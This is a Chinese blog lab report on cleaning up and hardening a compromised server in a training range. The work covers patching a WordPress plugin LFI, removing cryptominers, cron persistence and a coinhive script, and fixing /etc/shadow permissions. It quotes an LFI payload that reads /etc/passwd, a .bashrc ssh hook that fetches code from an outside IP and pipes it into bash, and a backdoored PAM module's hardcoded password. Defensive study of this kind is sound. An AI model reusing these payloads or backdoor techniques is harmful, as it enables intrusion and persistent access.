安全加固实践

安全加固

随着IP技术的飞速发展,一个组织的信息系统经常会面临内部和外部威胁的风险,网络安全已经成为影响信息系统的关键问题。虽然传统的防火墙等各类安全产品能提供外围的安全防护,但并不能真正彻底的消除隐藏在信息系统上的安全漏洞隐患。信息系统上的各种网络设备、操作系统、数据库和应用系统,存在大量的安全漏洞,比如安装、配置不符合安全需求,参数配置错误,使用、维护不符合安全需求,被注入木马程序,安全漏洞没有及时修补,应用服务和应用程序滥用,开放不必要的端口和服务等等。这些漏洞会成为各种信息安全问题的隐患。一旦漏洞被有意或无意地利用,就会对系统的运行造成不利影响,如信息系统被攻击或控制,重要资料被窃取,用户数据被篡改,隐私泄露乃至金钱上的损失,网站拒绝服务。面对这样的安全隐患,安全加固是一个比较好的解决方案。

1.1CRC_3_REINFORCE

1.1.1 实验目的

近期公司发现服务器CPU占用率极高,需要你来排查一下原因 ssh账户密码:root/123456 wordpress:wordpress wU4)evG#9!eBKPFd9W。

1.1.2 实验原理和基础

施安全加固就是消除信息系统上存在的已知漏洞,提升关键服务器、核心网络设备等重点保护对象的安全等级。安全加固主要是针对网络与应用系统的加固,是在信息系统的网络层、主机层和应用层等层次上建立符合安全需求的安全状态。安全加固一般会参照特定系统加固配置标准或行业规范,根据业务系统的安全等级划分和具体要求,对相应信息系统实施不同策略的安全加固,从而保障信息系统的安全。
具体来说,安全加固主要包含以下几个环节:
系统安全评估:包括系统安全需求分析,系统安全状况评估。安全状况评估利用大量安全行业经验和漏洞扫描技术和工具,从内、外部对企业信息系统进行全面的评估,确认系统存在的安全隐患。
制订安全加固方案:根据前期的系统安全评估结果制订系统安全加固实施方案。
安全加固实施:根据制定的加固方案,对系统进行安全加固,并对加固后的系统进行全面的测试,确保加固对系统业务无影响,并达到了安全提升的目的。安全加固操作涉及的范围比较广,比如正确的安装软硬件、安装最新的操作系统和应用软件的安全补丁、操作系统和应用软件的安全配置、系统安全风险防范、系统安全风险测试、系统完整性备份、系统账户口令加固等等。在加固的过程中,如果加固失败,则根据具体情况,要么放弃加固,要么重建系统。

1.1.3 实验环境

本次实验基于以下环境:
主机 Win10 家庭版 处理器 i7-10870H CPU @ 2.20GHz 内存 16.0GB
虚拟机 VMware Workstation Pro 15.5 kali-linux 2019
目标网站 长城靶场竞技系统

1.1.4 实验方案设计及其要求

1、加固插件漏洞
2、删除挖矿软件
3、清除cron任务计划
4、bashrc文件内容清除
5、删除挖矿js脚本
6、修正shadow权限
7、修正pam_unix.so文件

1.1.5 实验内容及步骤

1、安装kali-linux
kali-linux来源为U盘中的iso镜像文件。首先打开VMware Workstation Pro,选择“创建新的虚拟机”→“典型”,如图1。
在这里插入图片描述

图 1
接着,选择对应ISO镜像文件并一路选择确定完成安装。

2、插件LFI漏洞
首先我们根据给出的网站后台账户访问网站后台页面,如图2所示。
在这里插入图片描述

图 2
接着查看插件,发现其中Akismet Anti-Spam插件和Simple Fields插件的版本非最新版,但是,如图3所示,由于Akismet Anti-Spam和最近版本差距较小,而Simple Fields与最新版相差一大版本(现有版本为0.3.5,最新版本为1.4.11),故而我们可以认为漏洞存在与后者。
在这里插入图片描述

图 3
故而我们查看此插件的源代码,位于 Plugins→Editor→SImple Fields,文件位置为/wp-admin/plugin-editor.php?plugin=simple-fields%2Fsimple_fields.php&Submit=Select。如图4,发现该段代码中包含明显的漏洞,可以使用
payloadwp-content/plugins/simple-fields/simple_fields.php?wp_abspath=/etc/passwd进行漏洞的检测,结果如图5所示,。
在这里插入图片描述

图 4
在这里插入图片描述

图 5
这说明该漏洞确实存在,在这里,可以选择对Simple Fields插件进行升级或修改,我们选择直接修改该错误,如图6所示,经过对源代码的观察,发现存在漏洞的模块与其他部分无直接联系,故而只需要将该函数注释掉就可以修补漏洞。
在这里插入图片描述

图 6
再次使用payload进行漏洞的验证时,发现已经不会再返回/etc/passwd的内容了。
3、挖矿软件删除
我们通过kali-linux的ssh协议登录服务器终端,在登录服务器终端后,会发现终端每隔一段时间就会弹出以下提示,如图7所示。
在这里插入图片描述

图 7
对于该不正常现象,使用命令cat /var/spool/mail/root 查看文件内容,结果如图8所示。可以从其中的From:"(Cron Daemon)" root@localhost.localdomain中看到,这是由任务计划中任务的执行所引发的邮件发送。从其中的“Subject: Cron root@localhost ps aux | grep -v grep | grep “.xmg” || $HOME/.xmg”中可以看到,任务计划执行的命令是psaux | grep -v grep “.xmg” || H O M E / . x m g , 这 条 命 令 将 会 查 看 进 程 , 并 从 中 判 断 是 否 存 在 . x m g 程 序 , 若 有 , 则 不 执 行 HOME/.xmg ,这条命令将会查看进程,并从中判断是否存在.xmg程序,若有,则不执行 HOME/.xmg.xmgHOME/.xmg,反之则不执行。
在这里插入图片描述

图 8
此时我们运行命令crontab -l,查看任务计划。
在这里插入图片描述

图 9
在图9中,我们发现存在两个任务计划,第一条的意义在于保证$HOME/.xmg程序的持续执行。第二条的意义在于重启时运行/root/.kwd程序。这两个程序都是属于挖矿程序,所以这里先删除这两个程序。查看这两个程序,如图10所示,可以发现这两个程序确实存在引用异常。
在这里插入图片描述

图 10

如图11,在删除.kwd时,发现无法删除提示。
在这里插入图片描述
图 11
故分别使用lsattr命令查看两个文件的属性,如图12,发现两个文件都被添加了i属性,该属性专门用于保护重要文件不被删除。
在这里插入图片描述

图 12
所以使用chattr -i .kwd 和chattr -i .xmg命令来删除 -i 属性,如图13,过后,就可以正常删除这两个文件了。
在这里插入图片描述

图 13

4、bashrc文件内容清除
bashrc文件主要保存个人的一些个性化设置查看/root/.bashrc文件,在登入shell时被执行。发现其中有一个ssh函数,如图14所示。
在这里插入图片描述图 14

这个函数名为ssh,相当于hook了ssh命令,在终端使用ssh命令时,会先执行函数的内容,$@ 可以获取命令的所有参数,-t 强制分配一个伪终端,即使标准输入不是终端,也会接受输入。执行的命令是下载http://188.226.188.252/s 这个文件,并将文件的内容给bash执行,这个命令执行完毕后,再执行bash命令,恢复成正常的bash。所以要删除.bashrc文件中的这个函数,让ssh命令恢复到正常的功能。

5、删除挖矿js脚本
了运行程序进行挖矿,还可以在网页中植入挖矿脚本,在浏览器中打开开发者工具后,刷新主页,在主页中发现下载了coinhive.min.js的请求,如图15所示。
在这里插入图片描述

图 15
这是从coinhive网站注册的挖矿脚本,从coinhive官网得知,想要启动挖矿脚本,首先要引入一个coinhive.min.js文件,然后再实例化一个CoinHive类,最后调用类中的start()函数,见图16。

在这里插入图片描述
图 16
这时,我们从服务器控制端通过命令 grep -rn “coinhive” 打开coinhive文件,发现存在document.write("<scriptsrc=“https://coinhive.com/lib/coinhive.min.js”>"); ,如图17。直接删除这段代码。
图 17
6、修正shadow权限
Etc/shadow文件用于存储linux系统中用户的密码信息,这里查看/etc/shadow文件的权限时,发现此文件的权限为-r–r--r—,而正常/etc/shadow的权限应该为400,所以应该更改此文件的权限为-r--------,如图18。
在这里插入图片描述图 18
7、修正pam_unix.so
件/var/log/secure一般用来记录安全相关的信息,记录最多的是哪些用户登录服务器的相关日志,如果该文件很大,说明有人在破解root密码。在查看/var/log/ secure-20180729文件时,发现一个特殊的条目,如图19:
在这里插入图片描述

图 19
这里authenticationfailure表明认证失败,但同时ssh Accepted接受了密码,并且打开了ssh会话,根据这个线索,可以判断是PAM模块出现了问题。在/lib64/security文件夹中,查看个个文件的时间戳后,发现了一个较为不同的时间戳,如图20。
在这里插入图片描述

图 20
使用ida对此共享库分析之后,在pam_sm_authenticate函数中发现了密码将和“chenyun”字符串进行比较,如图21。
在这里插入图片描述
图 21
使用chenyun作为密码登陆ssh,发现确实可以开启一个ssh会话。这里修复方法选择重新编译官方的pam_unix.so文件覆盖掉被更改的pam_unix.so首先使用命令rpm -qa | grep pam 查看当前pam的版本,如图22。

在这里插入图片描述
图 22
从www.linux-pam.org/library下载Linux-PAM-1.1.8.tar.gz。
在这里插入图片描述

图 23
从外部下载再加载到服务器中。
在这里插入图片描述

图 24
可以看到上传成功。
在这里插入图片描述

图 25
tar-zxvf Linux-PAM-1.1.8.tar.gz//解压cdLinux-PAM-1.1.8//进入目录
./configuremakecpmodules/pam_unix/.libs/pam_unix.so /lib64/security/

在这里插入图片描述

图 26
到此,加固完成。再次使用chenyun做密码,发现无法登录,加固成功。

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值